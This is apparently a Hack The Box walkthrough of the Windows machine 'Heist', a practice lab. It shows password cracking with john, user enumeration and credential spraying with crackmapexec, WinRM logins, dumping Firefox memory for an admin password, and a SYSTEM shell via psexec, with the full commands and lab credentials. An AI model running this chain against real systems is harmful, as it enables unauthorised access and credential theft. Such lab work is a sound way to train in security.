Box Name: Heist
Level: Easy
OS: Windows
Lets get started
Recon
Portscanning
command:sudo nmap -A 10.129.96.157 -p- -v -T4
Nmap scan report for 10.129.96.157
Host is up (0.40s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
49669/tcp open unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-10-10T19:48:09
|_ start_date: N/A
|_clock-skew: -1s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 339.57 ms 10.10.16.1
2 340.07 ms 10.129.96.157
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 10 20:48:49 2023 -- 1 IP address (1 host up) scanned in 436.02 seconds
From our nmap scan we have quite a number of ports opened. We’ll start our enumeration today from port 80
Enumeration (Port 80)
Navigate to the webpage
We get this login page. Since we don’t have any creds lets login as guest
Nice, this is a conversation between user Hazard
and the admin
.
Lets check out the configuration file user Hazard
sent.
From the above screenshot we can see encrypted passwords for users Hazard
, rout3r
and admin
.
Lets try to crack the first password
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/heist]
└─$ nano hash
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/heist]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:01:07 DONE (2023-10-10 21:09) 0.01479g/s 51878p/s 51878c/s 51878C/s stealthy001..stcroix85
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/heist]
└─$ cat hash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
We got the password to be stealth1agent
. Lets try gain access using winrm
command:evil-winrm -u hazard -i 10.129.96.157 -p 'stealth1agent' -S
oops, it didn’t work
Lets try to crack the type 7 passwords. I used this online tool for it
We now have 3 passwords, lets enumerate for potential users
We can try to enumerate users from the smb share using crackmapexec
command:crackmapexec smb 10.129.94.141 -u hazard -p stealth1agent --rid-brute
We now have potential users.
Save the users and passwords in different files, we’ll use crackmapexec to get a match we can use to login via winrm
command:crackmapexec winrm 10.129.94.141 -u users.txt -p passwords.txt
We got a match, now lets login with winrm
username:chase
password:Q4)sJu\Y8qz*A3?d
command:evil-winrm -u chase -i 10.129.94.141 -p "Q4)sJu\Y8qz*A3?d"
We got user shell hehe. Lets go ahead and escalate our privileges
Privilege Escalation
Running the ps
command to check the processes running
From the above screenshot we can see firefox
to be one of the processes running
Lets try to dump the process using the tool procdump
. You can download it here
We’ll upload this to the target’s machine
command:upload procdump.exe
Nice, we can use the PID of firefox to create this dump
command:.\procdump.exe -accepteula -ma 4120
So after creating the dump, I downloaded it to my machine using the download
command
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/heist]
└─$ ls
Eula.txt Procdump.zip firefox.exe_231011_124132.dmp hash heist passwords.txt procdump.exe procdump64.exe procdump64a.exe users.txt
┌──(bl4ck4non👽bl4ck4non-sec)-[~/Downloads/HTB/heist]
└─$ file firefox.exe_231011_124132.dmp
firefox.exe_231011_124132.dmp: Mini DuMP crash report, 18 streams, Wed Oct 11 07:11:32 2023, 0x461826 type
Now, lets look for creds
command:strings firefox.exe_231011_124132.dmp| grep "password"
nice nice, we got the admin password.
Now, lets use psexec to connect
username:administrator
password:4dD!5}x/re8]FBuZ
command:impacket-psexec administrator@10.129.94.202
We spwned a shell as nt authority\system
, this means we have successfully pwned this box.
That will be all for today
Back To Home